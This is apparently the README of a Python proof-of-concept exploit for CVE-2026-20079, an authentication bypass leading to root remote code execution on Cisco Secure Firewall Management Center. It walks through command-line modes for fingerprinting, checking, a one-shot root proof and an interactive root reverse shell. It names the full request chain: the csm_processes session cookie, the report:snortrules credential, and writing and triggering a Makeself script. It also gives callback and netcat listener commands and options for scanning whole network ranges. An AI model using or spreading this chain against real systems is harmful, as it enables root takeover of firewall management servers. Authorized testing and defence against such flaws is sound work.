
针对 Cisco Secure FMC 实现 CVE-2026-20079 认证绕过至 root RCE 的利用链,支持指纹识别、检测、验证和交互式利用模式。
针对 CVE-2026-20079 中公开披露的 Cisco Secure Firewall Management Center 认证绕过至 root 远程代码执行链的 Python 概念验证。
这不是一个新漏洞,也不是独立开发的漏洞利用链。它是对 VulnCheck 发布的请求序列的净室实现,包含独立的指纹识别、分阶段检查、一次性验证和交互式利用模式。
需要 Python 3.10 或更高版本。在 Linux 或 macOS 上:
git clone https://github.com/CyberAuth/CVE-2026-20079.git
cd CVE-2026-20079
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 CVE-2026-20079.py --help
下面所有 192.0.2.x 值都是保留的文档地址。它们是占位符,不是已发现的目标信息,必须替换为来自授权评估的值。这些命令不应期望在未修改的情况下正常工作。
| 示例 | 含义 | 应改用 |
|---|---|---|
https://192.0.2.10 | 目标 FMC URL | 确切的授权 FMC 协议、地址和端口 |
192.0.2.20 | FMC 回连的地址 | 操作员监听器的 IP 地址或 DNS 名称,以 FMC 可访问的形式 |
192.0.2.0/24 | 示例指纹 CIDR | 明确授权的网络范围 |
4444 | 回调/监听 TCP 端口 | 回调系统上已批准的可达端口 |
0.0.0.0 | 监听器在操作员系统上的绑定位置 | 保持其监听所有本地接口,或使用一个本地接口地址 |
--expected-callback-source 中的 192.0.2.10 | 回调的预期来源 | 监听器观察到的 FMC 源地址;当 NAT 使其不确定时省略此选项 |
http://127.0.0.1:8080 | 可选的本地拦截代理 | 实际在操作员系统上监听的代理 URL |
--callback-host使用此规则:从 FMC 的角度看,哪个地址可以到达操作员的监听器? 该地址就是 --callback-host。
| 网络路径 | 典型的 --callback-host 值 |
|---|---|
| 操作员和 FMC 位于同一路由网络 | 操作员系统可达的 eth0、en0 或其他 LAN 地址 |
| 操作员通过 VPN 访问 FMC | 可达的 VPN 接口地址,例如 tun0 或 utun,前提是 FMC 有到它的路由 |
| 操作员位于 NAT 或防火墙之后 | 公网 IP 或 DNS 名称,其选定端口已转发到操作员系统 |
| 使用回调隧道或 VPS | 可达的隧道端点或 VPS 地址 |
不要为 --callback-host 使用 127.0.0.1 或 0.0.0.0。127.0.0.1 会指向 FMC 本身,而 0.0.0.0 是监听器绑定值,不是目标地址。确保路由、防火墙规则以及任何端口转发允许 FMC 通过 --callback-port 到达 --callback-host。
--listen-host 仅限本地:它选择集成监听器等待的接口。其默认值 0.0.0.0 监听所有本地接口。它不会告诉 FMC 应连接到何处。因此,--callback-host 和 --listen-host 可能不同,尤其是在跨 NAT 时。
假设这个虚构的、仅用于文档的实验环境:
Operator system FMC target
eth0: 192.0.2.20 192.0.2.10
1. Operator ---------------------------------------> FMC
HTTPS requests to https://192.0.2.10
2. Operator <--------------------------------------- FMC
Listener on TCP 4444 callback to 192.0.2.20:4444
这些值按如下方式映射到命令:
--target https://192.0.2.10 指定被评估的 FMC。--callback-host 192.0.2.20 是操作员系统的 eth0 地址,因为
FMC 可以直接路由到该地址。--callback-port 4444 是回调所使用的已批准 TCP 端口。--listen-host 0.0.0.0 使集成监听器在
任意本地接口(包括 eth0)上接受回调。该示例的一次性验证命令为:
python3 CVE-2026-20079.py \
--proof \
--target https://192.0.2.10 \
--callback-host 192.0.2.20 \
--callback-port 4444 \
--listen-host 0.0.0.0
流程是:操作员向 192.0.2.10 发送 HTTPS 请求,随后 FMC 回连到操作员的 192.0.2.20:4444。在实际评估中,请替换这两个 IP 地址,并在运行命令前确认返回路由。如果 FMC 无法访问操作员的 eth0 地址,请改用上文所述的、可访问的 VPN、NAT、隧道或 VPS 地址。
| 模式 | 网络或目标效果 | 证据或结果 |
|---|---|---|
--fingerprint | 仅发送 GET 请求 | 可能存在 FMC Web 界面;并非漏洞确认 |
--check | 最多发送两个 GET 请求;不升级会话 | 已知绕过响应模式完全或部分匹配 |
--check --intrusive | 升级服务器端会话状态 | 认证绕过并访问操作令牌 |
--proof | 写入并运行有界回调载荷 | 以 root 执行并清理,无需交互式 shell |
--exploit | 写入并运行 FIFO/netcat 载荷 | 交互式 root 回调,或使用 --auto-verify 进行有界验证 |
一次性设置三个示例值,分别替换为已授权的目标、操作员回调地址和端口:
# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20 # Address the FMC can use to reach this listener
CALLBACK_PORT=4444
然后选择恰好一种模式:
# GET-only product fingerprint; start here
python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"
# GET-only authentication-bypass check; does not upgrade the session
python3 CVE-2026-20079.py --check --target "$FMC_URL"
# Intrusive authentication-bypass check; changes server-side session state
python3 CVE-2026-20079.py --check --intrusive --target "$FMC_URL"
# One-shot root proof with integrated listener and verified cleanup
python3 CVE-2026-20079.py --proof --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
# Interactive root callback; first start one listener in another terminal:
# Linux (common netcat variants): nc -lvnp "$CALLBACK_PORT"
# macOS built-in netcat: nc -lvn "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
# Bounded root verification and cleanup instead of an interactive shell
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT" \
--auto-verify
[!IMPORTANT] 指纹识别是一种启发式产品识别步骤,而非漏洞检查。
MATCH和LIKELY并不证明目标受影响或可利用,NO_MATCH也不排除 FMC。反向代理、自定义登录页面、访问控制、网络故障或产品变更都可能影响结果。
指纹识别会发送网络请求,但不会运行认证绕过或 RCE 链。默认检查会将特殊会话 cookie 发送到受保护的信息端点,但不会提交凭据或升级会话。在使用任何验证模式之前,请阅读下方的分类详情、模式说明和会话状态警告。
[!WARNING] 未经明确书面授权,请勿运行
--check、--proof或--exploit。--check --intrusive、proof 和 exploit 模式的授权必须涵盖其目标变更和证明方法。请先阅读前提条件、会话状态限制和回调要求。
活动链将 CGISESSID=csm_processes 提供给 /login.cgi?logon=Continue,使用已公开的 report:snortrules 机器凭据,从 /ui/user/general 提取 sf_action_id,通过 validateLicense 写入一个 Makeself 格式脚本,并通过 SF::UI::DataObjectLibrary::upgradeReadinessCall 触发它。
JSON 序列化器仅将表示实际脚本换行符的转义转换为 \u000A。命令中的字面 \n 序列和其他反斜杠内容保持不变。
受影响的软件版本在测试时并不总是可利用的。启动时创建的 csm_processes 会话必须仍然存在。正常的已认证 UI 活动和会话清理可能会将其移除。不要仅仅为了满足此前提条件而重启生产环境的 FMC。
--check --intrusive、--proof 和 --exploit 模式会升级服务器端的 csm_processes 会话。PoC 不会尝试将该会话恢复到其原始的部分状态,因为不存在供应商文档化的降级操作。清除客户端 cookie 不会撤销服务器端的更改,而注销、强制过期或删除数据库条目会销毁会话而非恢复它,并可能干扰后续验证或设备行为。自动清理功能仅移除临时 RCE 文件;它们并不声称能恢复会话状态。--fingerprint 不使用该会话。默认的 --check 通过该会话读取,但不执行文档化的升级;与任何主动 HTTP 请求一样,它仍可能出现在日志中,因此不被描述为被动操作。
两个回调载荷都需要:
/bin/sh。rm 和 command。PATH 可用的 nc、netcat 或 ncat 之一。交互式 --exploit 载荷额外需要 mkfifo。一次性 --proof 载荷不创建 FIFO 或交互式 shell。
载荷在尝试回调之前会检查三个受支持的 netcat 命令名称。如果均不存在,它会通过其清理陷阱退出。由于错误发生在盲目的服务器端执行路径内部,测试人员观察到的是回调缺失,而非详细的远程错误消息。
--auto-verify 使用 Python 的 socket 库,不需要本地安装 netcat。手动监听模式可以使用 nc、ncat、socat 或操作员选择的其他 TCP 监听器。
对一个 URL 进行指纹识别:
python3 CVE-2026-20079.py \
--fingerprint \
--target https://192.0.2.10
对包含每行一个 URL、IP 地址、主机名或 host:port 值的文件进行指纹识别:
python3 CVE-2026-20079.py \
--fingerprint \
--targets-file targets.txt \
--fingerprint-scheme https \
--fingerprint-port 443 \
--workers 10
对明确授权的网络范围进行指纹识别:
python3 CVE-2026-20079.py \
--fingerprint \
--network 192.0.2.0/24 \
--fingerprint-scheme https \
--fingerprint-port 443 \
--workers 20 \
--max-hosts 256
此模式影响较小,但并非字面意义上的被动:它会发送网络请求。重定向被全局禁用,工具仅跟随一个实际的 HTTP 重定向,且该重定向必须指向确切的 /ui/login 路径,并保持在原始协议、主机和端口上。登录响应必须成功(HTTP 2xx),工具才会报告 MATCH 或 LIKELY。它不会附加漏洞利用 cookie、提交凭据、发送 POST 请求、跟随外部重定向、检查版本或证明 CVE-2026-20079。MATCH 表示成功响应中同时包含 Cisco 图标路径和 Management Center 的结构化 deviceLabel 值。两个标记缺一不可,仅凭通用产品名称不足以判定。LIKELY 表示成功的同源登录路由匹配,但原始 HTML 中不包含这些产品标记;NO_MATCH 表示有界指纹识别未能识别出 FMC。
仅 --fingerprint 接受 --targets-file 或 --network。两种检查模式、证明模式和漏洞利用模式均有意保持为单目标操作。文件和 CIDR 扩展会去重,并受 --max-hosts 限制(默认 4096),并发数受 --workers 限制(默认 10,最大 100)。
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--check
此模式首先在不带会话 cookie 的情况下请求 /help/about.cgi,并要求返回预期的 HTTP 302 Invalid session ID 响应。随后它使用 CGISESSID=csm_processes 请求同一路径,并要求返回 HTTP 200 以及完整的 FMC 产品和系统信息标记集。比较这两个响应可以显示静态会话是否能够访问被未认证控制请求所拒绝的信息。
这一额外验证步骤改编自 theamanrawat 编写的 ProjectDiscovery Nuclei 模板。它补充了本项目原有的 FMC 指纹识别和更强的会话升级检查,而非取代它们。
该检查最多使用两次 GET 请求。它针对特殊会话响应复用原有的宽松 FMC 标记逻辑,并以通俗语言报告是否识别出 Cisco Secure FMC;它不会重新运行单独的 / 和 /ui/login 指纹识别工作流。当任务是产品发现而非 CVE 检查时,请显式使用 --fingerprint。
结果级别刻意保持保守:
APPEARS:不带会话 cookie 的请求被拒绝,而带 csm_processes 的请求返回 HTTP 200 以及完整的受保护页面标记集。PARTIAL-MATCH:不带会话 cookie 的请求被拒绝,且带 csm_processes 的请求返回 HTTP 200,但缺少一个或多个预期的 about 页面标记。缺失的名称会被显示,但不会打印响应正文。这是有用的证据,而非 CVE 确认。UNCONFIRMED:未能建立已知的双响应模式。ERROR:传输行为导致无法可靠分类。